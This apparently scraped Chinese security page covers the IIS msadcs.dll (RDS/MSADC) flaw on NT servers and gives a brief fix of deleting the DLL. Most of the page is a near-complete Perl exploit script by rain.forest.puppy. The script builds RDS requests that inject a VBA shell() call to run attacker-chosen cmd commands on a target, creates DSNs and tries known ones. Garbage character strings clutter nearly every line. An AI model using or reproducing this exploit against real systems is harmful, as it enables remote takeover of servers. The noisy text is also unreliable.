IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
cfUG)-]P~ Cm[^+.=I 涉及程序:
jmva0K},SE Microsoft NT server
qm|T<zsDY# pR7 D3Q:^7 描述:
d1n*wVl 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]L9$JTGF`w {KM5pK?,BJ 详细:
'L ]k\GO 如果你没有时间读详细内容的话,就删除:
VB@M=ShKK c:\Program Files\Common Files\System\Msadc\msadcs.dll
kUQdi%3yY; 有关的安全问题就没有了。
NZt
8L? 9Xeg&Z|! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
?V(h@T IW- BY =C 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
1n EW'F 关于利用ODBC远程漏洞的描述,请参看:
~\[\S!" ;p/$9b.0: http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $qfNEAmDf\ H+Se 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
eC*-/$D http://www.microsoft.com/security/bulletins/MS99-025faq.asp Gcd'- 1 $D~vuA7 这里不再论述。
uDsof?z Z)RV6@( 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Ib0@,y S[ c~{)vL0K /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
H@BU/{ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
+BkmI\ afj[HJbY SMbhJ}\O #将下面这段保存为txt文件,然后: "perl -x 文件名"
y<*/\]t9L[ V"Y-|R #!perl
c_)lTI4 #
w$z]Z- # MSADC/RDS 'usage' (aka exploit) script
46M?Gfd,X #
bs\7 juHt # by rain.forest.puppy
P |kfPohI= #
nZ~J&QK- # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1bpjj'2%x # beta test and find errors!
Ah1fcXED b%D}mxbS use Socket; use Getopt::Std;
ky|Py getopts("e:vd:h:XR", \%args);
l]KxUkA+ -`} d@x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kf'oXCs [Z{0|NR if (!defined $args{h} && !defined $args{R}) {
qo5WZ
be print qq~
2^T`> ?{X Usage: msadc.pl -h <host> { -d <delay> -X -v }
\EOPlyf8x -h <host> = host you want to scan (ip or domain)
zua=E2 -d <seconds> = delay between calls, default 1 second
jY ~7- -X = dump Index Server path table, if available
sboX< -v = verbose
U8icP+Y -e = external dictionary file for step 5
o~={M7m @/0-`Y@? Or a -R will resume a command session
^{w]r5d o%$'-N ~; exit;}
Bd-@@d.H< LSW1,}/B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?s5hckhh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_!?iiO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=U_O;NC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}='1<~0 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
WR@TH
bU if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
w}
1~ P q)C(Z if (!defined $args{R}){ $ret = &has_msadc;
d6;"zW|Ec die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=r1@?x 1"P^!N print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|)IS[:X . "cmd /c ";
[SX>b"L $in=<STDIN>; chomp $in;
KiO1l{.s8n $command="cmd /c " . $in ;
KL6FmL)HH p:CpY'KV_ if (defined $args{R}) {&load; exit;}
cuW&X9\m, R3ru<u>k& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
sqP (1|9 &try_btcustmr;
1*ui|fuK i\z ,)xp print "\nStep 2: Trying to make our own DSN...";
.iXIoka &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]Y@B= 5e/ n*vzp?+Y print "\nStep 3: Trying known DSNs...";
Ht!]% &known_dsn;
S1oP_A[| 95^A ! print "\nStep 4: Trying known .mdbs...";
[
#1<W`95 &known_mdb;
'Z=8no`< wJKP=$6n_ if (defined $args{e}){
'o.A8su, print "\nStep 5: Trying dictionary of DSN names...";
D4e!A@LJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
tp3]?@0 5
Yf
T print "Sorry Charley...maybe next time?\n";
_"R /k`8 exit;
o2#_CdU gS$?#!f ##############################################################################
L!
DK2, tj=l! sub sendraw { # ripped and modded from whisker
wYIlp sleep($delay); # it's a DoS on the server! At least on mine...
{e'V^l.v my ($pstr)=@_;
+ZK12D} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
380M&Guh die("Socket problems\n");
cas5 if(connect(S,pack "SnA4x8",2,80,$target)){
I#U"DwM select(S); $|=1;
E ) iEWc print $pstr; my @in=<S>;
c1L0#L/F6" select(STDOUT); close(S);
jX8,y return @in;
pa)2TL/@ } else { die("Can't connect...\n"); }}
z),@YJU"z 8C(@a[V ##############################################################################
!H[K"7w `$N()P sub make_header { # make the HTTP request
HE0@`(mCpa my $msadc=<<EOT
98x&2(N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>p;cbp[ht User-Agent: ACTIVEDATA
#)hJ.0~3 Host: $ip
Bp>Z?"hTe Content-Length: $clen
ROc)LCA Connection: Keep-Alive
z.%K5vrO> ^a+H`RD ADCClientVersion:01.06
sj& j\<( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
C`LHFqv lZ![?t}2` --!ADM!ROX!YOUR!WORLD!
q"O4}4` Content-Type: application/x-varg
zEYT,l Content-Length: $reqlen
mxQPOu >^5UXQr EOT
DcL;7 IT ; $msadc=~s/\n/\r\n/g;
suP/I?4'@ return $msadc;}
8Z:T.Gc 'ZboLoS*- ##############################################################################
12JmSvD x%d\}%] sub make_req { # make the RDS request
qZz?i my ($switch, $p1, $p2)=@_;
!9ytZR* my $req=""; my $t1, $t2, $query, $dsn;
RAps`)OR? 0l&#%wmJ, if ($switch==1){ # this is the btcustmr.mdb query
h~R= ?%H[ $query="Select * from Customers where City=" . make_shell();
pX~X{JTaL) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
M~jV"OF= $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
ndCHWhi *[SOz) elsif ($switch==2){ # this is general make table query
WMw^zq?hd@ $query="create table AZZ (B int, C varchar(10))";
Nxd<#p $dsn="$p1";}
-{ M(1vV(= N& 683z elsif ($switch==3){ # this is general exploit table query
`C +>PCO $query="select * from AZZ where C=" . make_shell();
1U(P0$C $dsn="$p1";}
8+yCP_Y4 ]
eO25,6 elsif ($switch==4){ # attempt to hork file info from index server
Dq:>]4% $query="select path from scope()";
y/(60H,{{ $dsn="Provider=MSIDXS;";}
^D.u ft"t elsif ($switch==5){ # bad query
Z\9DtvV $query="select";
n
9X:s?B/ $dsn="$p1";}
HJ]9e U6/$CH<pe $t1= make_unicode($query);
"f5 neW $t2= make_unicode($dsn);
#D2.RN $req = "\x02\x00\x03\x00";
}mx>3G{d $req.= "\x08\x00" . pack ("S1", length($t1));
p|f5w"QcH $req.= "\x00\x00" . $t1 ;
z +NwGVk3 $req.= "\x08\x00" . pack ("S1", length($t2));
9\J.AAk~/ $req.= "\x00\x00" . $t2 ;
<<5x"W(,
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
LI`H,2Km return $req;}
aR0'$*3E M8p6f)l3 ##############################################################################
Y;dQLZCC Z|
f~
sub make_shell { # this makes the shell() statement
'1r<g\l return "'|shell(\"$command\")|'";}
+IkL=/';# A<$w
}Fy; ##############################################################################
de<T5/ ]b6g Z< sub make_unicode { # quick little function to convert to unicode
lI*uF~ 'D my ($in)=@_; my $out;
W8>< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6PyODW;R/5 return $out;}
WH6Bs=G\} bAVlL&^@| ##############################################################################
{)L*\r 8v V<A*` sub rdo_success { # checks for RDO return success (this is kludge)
3UX/ my (@in) = @_; my $base=content_start(@in);
4?2$~\
x if($in[$base]=~/multipart\/mixed/){
}3DZ`8u return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>o_cf*nx return 0;}
=)Z~w` $[1J[eY* ##############################################################################
s-"oT= |q+dTy_n sub make_dsn { # this makes a DSN for us
|[B JZ my @drives=("c","d","e","f");
6Ex16 print "\nMaking DSN: ";
f(Uo?_as foreach $drive (@drives) {
IB%Hv] print "$drive: ";
RAUD8Z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~M?^T$5 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
x3L0;:Fx8P . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.2v)x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
VTIRkC
wl@ return 0 if $2 eq "404"; # not found/doesn't exist
GJo`9 if($2 eq "200") {
oT}-i [=} foreach $line (@results) {
wk[4Qsk< return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
hqwDlapTt } return 0;}
p1`")$ p.@_3^#| ##############################################################################
=`W#R =f\BAi sub verify_exists {
Vu1swq)l my ($page)=@_;
:)g}x&A^$ my @results=sendraw("GET $page HTTP/1.0\n\n");
@5:#J! return $results[0];}
}*>xSb1 3Q\k!$zq ##############################################################################
>9i%Yuy]( l/6$BPU` sub try_btcustmr {
e]k\dj;,^% my @drives=("c","d","e","f");
,E3Ze*(U my @dirs=("winnt","winnt35","winnt351","win","windows");
^EFVjGM tYST&5Kh~ foreach $dir (@dirs) {
|Zm'! -_ print "$dir -> "; # fun status so you can see progress
d:{#Dk# foreach $drive (@drives) {
[+.P'6/[$R print "$drive: "; # ditto
z5q( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
c)B
<d# $reqlenlen=length( "$reqlen" );
9JBVG~m+ $clen= 206 + $reqlenlen + $reqlen;
|:b!e >uy(N my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Jnl#d0)
- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`Dp_c&9] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Zg;%$ kSQ D wtvtglqV ##############################################################################
q2}6lf,J
K ;9"6g=q sub odbc_error {
Cj1nll8c my (@in)=@_; my $base;
DR
c-L$bD my $base = content_start(@in);
-*AUCns# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
}F=lG -x $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.h=H?Hr(V] $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W)p?cK` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<4,LTB]9- return $in[$base+4].$in[$base+5].$in[$base+6];}
sHn-#SGm print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
gl>%ADOB@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;{:bq`56f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[\,Jy8t)\ V \Sl->: ##############################################################################
a"bael #.W^7}H sub verbose {
?f&O4H my ($in)=@_;
Q)L6+gW^ return if !$verbose;
/pYp,ak print STDOUT "\n$in\n";}
v FWg0 $, ]!'9Y}9a ##############################################################################
7j~}M(s" S<Od`I sub save {
i{2ny$55h my ($p1, $p2, $p3, $p4)=@_;
4KnrQ-D open(OUT, ">rds.save") || print "Problem saving parameters...\n";
$-p#4^dg print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2Mw^EjR close OUT;}
56 [+;* 6H'W]T& ##############################################################################
\I+#M-V =PAsyj sub load {
\wM8I-f! my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fA" VLQE open(IN,"<rds.save") || die("Couldn't open rds.save\n");
pZV=Co3!I @p=<IN>; close(IN);
MYMg/>f[ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:=e"D;5 $target= inet_aton($ip) || die("inet_aton problems");
:V
ZXI#([ print "Resuming to $ip ...";
Z,JoxK2"
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'Fr"96C$ if($p[1]==1) {
h;JO"J@H $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
zya2 O?s $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-4LckY=]1 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Gz kvj:(V if (rdo_success(@results)){print "Success!\n";}
cTu"Tu\Qw else { print "failed\n"; verbose(odbc_error(@results));}}
:>3/*"vx?G elsif ($p[1]==3){
*EllE+M{n if(run_query("$p[3]")){
UtYwG#/w print "Success!\n";} else { print "failed\n"; }}
U C..)9 elsif ($p[1]==4){
y$`@QRW if(run_query($drvst . "$p[3]")){
Y
wu
> k print "Success!\n"; } else { print "failed\n"; }}
:`<ME/"YE exit;}
ck\TTNA `g^b Qx ##############################################################################
Y"UB\_= u=f}t=3 sub create_table {
K(75)/ my ($in)=@_;
|$G|M=*LN $reqlen=length( make_req(2,$in,"") ) - 28;
}[b3$WZ $reqlenlen=length( "$reqlen" );
D0VbD" y $clen= 206 + $reqlenlen + $reqlen;
A40Q~X my @results=sendraw(make_header() . make_req(2,$in,""));
[Nv)37|W return 1 if rdo_success(@results);
H*E4+3y my $temp= odbc_error(@results); verbose($temp);
..;ep2jSs return 1 if $temp=~/Table 'AZZ' already exists/;
b<8,'QgB return 0;}
"pTU&He zY2o;-d|4 ##############################################################################
cg).b?g ?AYb@&% sub known_dsn {
B'8T+qvA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
%[WOQ.Sh my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~fY\; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
SI9PgC "banner", "banners", "ads", "ADCDemo", "ADCTest");
]CGH )4Pe 49-wFF foreach $dSn (@dsns) {
N-YCOSUu print ".";
\Y^GA;AMQQ next if (!is_access("DSN=$dSn"));
"a=dx|
Z if(create_table("DSN=$dSn")){
~U+W4%f8 print "$dSn successful\n";
RhD if(run_query("DSN=$dSn")){
z#Db~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P&5kO;ia print "Something's borked. Use verbose next time\n";}}} print "\n";}
Yx':~ nNpXkI: ##############################################################################
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